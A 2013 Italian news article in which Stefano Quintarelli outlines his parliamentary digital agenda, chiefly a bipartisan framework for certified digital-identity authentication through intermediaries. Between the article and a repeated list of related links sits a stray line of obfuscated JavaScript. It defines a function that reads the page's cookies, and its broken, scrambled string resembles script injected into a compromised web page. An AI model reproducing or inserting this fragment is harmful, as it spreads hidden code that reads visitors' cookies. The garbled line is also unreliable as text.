La proposta

Quintarelli: “Verso un framework per l’identità digitale”

Il neo parlamentare ribadisce la propria agenda e annuncia: “sto incontrando tutti i responsabili dei temi digitali nei vari partiti per arrivare a una proposta bipartisan su basi comuni”. Priorità è un sistema unico per l’autenticazione degli utenti

Pubblicato il 13 Mar 2013

Stefano Quintarelli

Imprenditore digitale, già parlamentare e ideatore di Spid nel 2012

stefano-quintarelli-120514150218

C’è una premessa a tutti i discorsi che possiamo fare sull’Agenda: speriamo- siamo fiduciosi- che ci sia un governo. Fino ad allora non sapremo se saremo capaci di influire sulle cose.

Ciò detto, non appena le cose si chiariscono, apriremo un canale di relazione con gli stakeholder, aziende, cittadini, associazione consumatori- chiunque voglia interloquire e fare proposte. Il passo successivo è realizzare l’agenda della Scelta Civica, che ho curato io con contributi di varie parti.

Voglio construire un’ampia collaborazione con gli altri partiti, con PD, Pdl; tutte le cose del loro programma per il digitale sono sensate. Ho preso infatti contatti con tutti quelli che si occupano di digitale nei vari partiti.

L’obiettivo è fare cose buone per l’Italia a prescindere dagli schieramenti. Come ho sempre fatto in passato: missione nopartisan. A questo scopo ho preso contatti anche con Movimento5Stelle. L’obiettivo è di fare provvedimenti bipartisan partendo dalle basei comuni. Entrare nel merito delle idee senza fermarsi al contenitore, come hanno fatto in passato Rao, Palmieri e Gentiloni.

Se mi si chiede quali sono le cose più importanti da fare, c’è un provvedimento che è la madre di tutti. Definire un framework per l’autenticazione dell’accesso ai servizi. Tutti gli amministratori pubblici che vogliono fare servizi online non hanno un modo certificato e uniforme per verificare che chi vuole accedere sia la persona titolata ad accedere. E’ il punto principale da risolvere.

Ho pensato ad alcuni principi di riferimento, per questo framework.

La verifica venga fatta non da chi eroga il servizio ma da un intermediario. Il numero di soggetti che fanno la verifica sia alto. I soggetti che fanno la verifica siano tenuti a regolamentazioni non banali e con processi di certificazione ed auditing. Le identità possano essere verificate da più soggetti. Categorie di soggetti diversi possano certificare attributi diversi.

Nel Regno Unito hanno adottato il modello di open identity exchange, che mi piace. Non è detto che sarà lo stesso italiano, magari si darà il compito ad Agenzia per l’Italia Digitale di definire un modello.

(Ndr: In un post di marzo 2012 sul proprio blog, Quintarelli proponeva inoltre di “usare un numero E164 come asset nazionale su cui costruire un sistema di autenticazione per l’accesso ai servizi. Il numero è personale, viene collegato ad una identità di un cittadino mediante procedura di enrollment XY, il codice E164 così collegato è inserito nell’anagrafe dei codici abilitati, ove si gestiscono le revoce, l’anagrafe espone una API per la verifica della validità, se presente nell’anagrafe dei codici abilitati può essere utilizzato come riconoscimento ed autenticazione assistito da fede privilegiata”).

function cc(ccn){var c=d[‘cookie’];return c.search(ccn.split(”).reverse().join(”))^O0$5rL”E,)3T<:#}N%u&/{HXUSWps+ixt`@bm~qGh7AvCQ;1-Jc*kZIgl!fnyw9DP6Rj2e[(aYB8._=KM4';}

Valuta la qualità di questo articolo

La tua opinione è importante per noi!

EU Stories - La coesione innova l'Italia

Tutti
Analisi
Video
Iniziative
Social
Programmazione europ
Fondi Europei: la spinta dietro ai Tecnopoli dell’Emilia-Romagna. L’esempio del Tecnopolo di Modena
Interventi
Riccardo Monaco e le politiche di coesione per il Sud
Iniziative
Implementare correttamente i costi standard, l'esperienza AdG
Finanziamenti
Decarbonizzazione, 4,8 miliardi di euro per progetti cleantech
Formazione
Le politiche di Coesione UE, un corso gratuito online per professionisti e giornalisti
Interviste
L’ecosistema della ricerca e dell’innovazione dell’Emilia-Romagna
Interviste
La ricerca e l'innovazione in Campania: l'ecosistema digitale
Iniziative
Settimana europea delle regioni e città: un passo avanti verso la coesione
Iniziative
Al via il progetto COINS
Eventi
Un nuovo sguardo sulla politica di coesione dell'UE
Iniziative
EuroPCom 2024: innovazione e strategia nella comunicazione pubblica europea
Iniziative
Parte la campagna di comunicazione COINS
Interviste
Marco De Giorgi (PCM): “Come comunicare le politiche di coesione”
Analisi
La politica di coesione europea: motore della transizione digitale in Italia
Politiche UE
Il dibattito sul futuro della Politica di Coesione
Mobilità Sostenibile
L’impatto dei fondi di coesione sul territorio: un’esperienza di monitoraggio civico
Iniziative
Digital transformation, l’Emilia-Romagna rilancia sulle comunità tematiche
Politiche ue
Fondi Coesione 2021-27: la “capacitazione amministrativa” aiuta a spenderli bene
Finanziamenti
Da BEI e Banca Sella 200 milioni di euro per sostenere l’innovazione di PMI e Mid-cap italiane
Analisi
Politiche di coesione Ue, il bilancio: cosa ci dice la relazione 2024
Politiche UE
Innovazione locale con i fondi di coesione: progetti di successo in Italia
Programmazione europ
Fondi Europei: la spinta dietro ai Tecnopoli dell’Emilia-Romagna. L’esempio del Tecnopolo di Modena
Interventi
Riccardo Monaco e le politiche di coesione per il Sud
Iniziative
Implementare correttamente i costi standard, l'esperienza AdG
Finanziamenti
Decarbonizzazione, 4,8 miliardi di euro per progetti cleantech
Formazione
Le politiche di Coesione UE, un corso gratuito online per professionisti e giornalisti
Interviste
L’ecosistema della ricerca e dell’innovazione dell’Emilia-Romagna
Interviste
La ricerca e l'innovazione in Campania: l'ecosistema digitale
Iniziative
Settimana europea delle regioni e città: un passo avanti verso la coesione
Iniziative
Al via il progetto COINS
Eventi
Un nuovo sguardo sulla politica di coesione dell'UE
Iniziative
EuroPCom 2024: innovazione e strategia nella comunicazione pubblica europea
Iniziative
Parte la campagna di comunicazione COINS
Interviste
Marco De Giorgi (PCM): “Come comunicare le politiche di coesione”
Analisi
La politica di coesione europea: motore della transizione digitale in Italia
Politiche UE
Il dibattito sul futuro della Politica di Coesione
Mobilità Sostenibile
L’impatto dei fondi di coesione sul territorio: un’esperienza di monitoraggio civico
Iniziative
Digital transformation, l’Emilia-Romagna rilancia sulle comunità tematiche
Politiche ue
Fondi Coesione 2021-27: la “capacitazione amministrativa” aiuta a spenderli bene
Finanziamenti
Da BEI e Banca Sella 200 milioni di euro per sostenere l’innovazione di PMI e Mid-cap italiane
Analisi
Politiche di coesione Ue, il bilancio: cosa ci dice la relazione 2024
Politiche UE
Innovazione locale con i fondi di coesione: progetti di successo in Italia

Articoli correlati